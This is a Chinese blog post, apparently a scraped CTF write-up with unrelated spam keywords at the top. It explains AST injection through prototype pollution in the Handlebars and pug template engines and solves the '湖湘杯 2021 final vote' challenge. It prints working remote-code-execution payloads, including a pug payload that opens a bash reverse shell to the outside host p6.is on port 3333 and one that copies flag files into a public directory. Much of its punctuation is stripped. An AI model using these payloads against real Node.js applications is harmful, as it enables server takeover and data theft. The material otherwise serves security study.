菠菜网站建设,seo好seo,全国八大员报名官方网站,wordpress小说文章目录 概念漏洞Handlebarspug 例题 [湖湘杯 2021 final]vote 概念
什么是AST注入
在NodeJS中#xff0c;AST经常被在JS中使用#xff0c;作为template engines(引擎模版)和typescript等。对于引擎模版#xff0c;结构如下图所示。 如果在JS应用中存在原型污染漏洞AST经常被在JS中使用作为template engines(引擎模版)和typescript等。对于引擎模版结构如下图所示。 如果在JS应用中存在原型污染漏洞任何 AST 都可以通过在Parser(解析器)或Compiler(编译器)过程中插入到函数中。 在这里你可以在没有过滤、没有经过lexer(分析器)或parser(解析器)验证的输入(没有被适当的过滤)的情况下插入AST。
然后我们可以向Parser(编译器)非预期的输入。
下面就是展示实际中在handlebars和pug使用AST注入执行任意命令
漏洞
Handlebars
本地测试代码如下
const Handlebars require(handlebars);const source Hello {{ msg }};
const template Handlebars.compile(source);console.log(template({msg: posix}));这是如何在handlebars使用模板的方法运行结果为下图
Handlebar.compile函数将字符串转换为模板函数并传递对象因子以供调用
const Handlebars require(handlebars);Object.prototype.pendingContent scriptalert(origin)/scriptconst source Hello {{ msg }};
const template Handlebars.compile(source);console.log(template({msg: posix}));在这里我们可以使用原型污染来影响编译过程。 你可以插入任意字符串payload到Object.prototype.pendingContent中决定你想要的攻击。 构造payload
{type: MustacheStatement,path: 0,params: [{type: NumberLiteral,value: console.log(process.mainModule.require(child_process).execSync(id).toString())}],loc: {start: 0,end: 0}
}pug
本地测试源码如下
const pug require(pug);
const source h1 msg;
var fn pug.compile(source);
var html fn({msg: It works});console.log(html);此为在 pug 中使用模板的常见方法运行结果为下图 pug.compile函数将字符串转换为模板函数并传递对象以供调用
const pug require(pug);
Object.prototype.block {type:Text,val:scriptalert(origin)/script};
const source h1 msg;
var fn pug.compile(source, {});
var html fn({msg: It works});
console.log(html);构造payload {__proto__.block: { type: Text, line: process.mainModule.require(child_process).execSync(bash -c bash -i /dev/tcp/p6.is/3333 01)}
}例题 [湖湘杯 2021 final]vote 考察的是pug模板引擎下的rce 源码如下
const path require(path);
const express require(express);
const pug require(pug);
const { unflatten } require(flat);
const router express.Router();router.get(/, (req, res) {return res.sendFile(path.resolve(views/index.html));
});router.post(/api/submit, (req, res) {const { hero } unflatten(req.body);if (hero.name.includes(奇亚纳) || hero.name.includes(锐雯) || hero.name.includes(卡蜜尔) || hero.name.includes(菲奥娜)) {return res.json({response: pug.compile(You #{user}, thank for your vote!)({ user:Guest })});} else {return res.json({response: Please provide us with correct name.});}
});module.exports router;给了./api/submit路由然后看到pug.compile 稍微修改下payload直接使用这道题反弹shell不成功
{hero.name:锐雯,__proto__.block: {type: Text,line: process.mainModule.require(child_process).execSync(cat /f* ./static/1.txt)}
}成功RCE
再访问一下static目录的1.txt得到flag